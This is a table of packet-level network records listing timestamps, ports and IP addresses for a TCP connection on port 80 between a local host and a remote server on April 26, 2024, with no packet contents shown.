Apr 26, 2024 09:41:10.945224047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.945339918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.945396900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.945656061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.945708036 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.945792913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.945808887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.945846081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.945868969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.945898056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.945949078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.945965052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.945997000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.946017027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.946023941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.946038961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.946064949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.946468115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.946521044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.946538925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.946579933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.946595907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.946611881 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.946640015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.946662903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.946794987 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.946851015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.946867943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.946911097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.947021961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.947037935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.947076082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.947137117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.947196007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.947212934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.947268009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.947369099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.947385073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.947423935 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.947441101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.947463036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.947511911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.947587013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.947652102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.947773933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.947828054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.948018074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.948072910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.948091030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.948147058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.948163986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.948213100 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.948348045 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.948388100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.948399067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.948426008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.948457003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.948504925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.948537111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.948585033 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.948602915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.948618889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.948642969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.948664904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949026108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949079990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949096918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949145079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949163914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949213028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949228048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949284077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949301958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949354887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949382067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949430943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949453115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949481964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949496031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949523926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949575901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949625969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949673891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949729919 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949763060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949780941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949807882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949825048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949866056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949911118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.949922085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.949959040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.950007915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.950023890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.950056076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.950071096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.995577097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.995598078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.995652914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.995699883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.995708942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.995763063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.996115923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.996179104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.996480942 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.996536016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.996551991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.996567965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.996594906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.996649027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.996675014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.996728897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.996747017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.996794939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.996813059 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.996829033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.996857882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.996881962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.996937037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.996994019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997010946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997060061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997092009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997107983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997143984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997169018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997195959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997248888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997267008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997297049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997322083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997337103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997347116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997384071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997426033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997472048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997504950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997561932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997581005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997596025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997622967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997648001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997811079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997867107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997900009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.997957945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.997988939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.998003960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.998042107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.998240948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.998298883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.998316050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.998347044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.998367071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.998382092 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.998394966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.998430014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.998568058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.998621941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.998639107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.998680115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.998698950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.998749018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.998765945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.998816967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.998857021 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.998908043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.998929024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.998972893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.998991013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.999006033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.999037981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.999061108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.999289036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.999336958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.999349117 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.999387980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.999406099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.999419928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.999450922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.999489069 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.999639988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.999691963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.999708891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.999758005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.999775887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.999790907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.999820948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.999847889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.000193119 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.000250101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.000268936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.000314951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.000346899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.000363111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.000403881 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.000432968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.000485897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.000534058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.000555038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.000598907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.000631094 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.000653028 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.000673056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.000699043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.000843048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.000894070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.000906944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.000953913 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.000971079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.000986099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.001015902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.001039982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.001454115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.001504898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.001521111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.001564980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.001585007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.001600027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.001629114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.001653910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.001916885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.001972914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.001991034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.002036095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.002145052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.002197027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.002213001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.002229929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.002254963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.002276897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.002293110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.002346992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.002424955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.002439976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.002476931 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.002501011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.002516985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.002562046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.002593040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.002648115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.002729893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.002791882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.002806902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.002856016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.004192114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.004249096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.004272938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.004328012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.004336119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.004348993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.004374027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.004396915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.004411936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.004458904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.004479885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.004523993 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.004539013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.004582882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.105429888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.347732067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.476387024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.476488113 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.476720095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.476739883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.476767063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.476784945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.476824999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.476871967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.476890087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.476939917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.476958036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.476999998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.477060080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.477104902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.477401018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.477447987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.479588032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.479677916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.479686022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.479717016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.479728937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.479770899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.479811907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.479857922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.531143904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.531172991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.531192064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.531208992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.531229973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.531239986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.531259060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.531277895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.531306028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.531513929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.531558037 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.531577110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.531593084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.531613111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.531630039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.531941891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.531960011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.531991005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.532001019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.532010078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.532022953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.532033920 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.532058954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.532780886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.532824993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.532845020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.532857895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.532875061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.532883883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.532891035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.532908916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.532916069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.532936096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.532958031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.532964945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.532975912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.532989979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.533003092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.533015966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.533037901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.533054113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.533065081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.533078909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.533090115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.533102989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.533116102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.533138037 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.564136028 CEST	80	49730	185.172.128.111	192.168.2.4
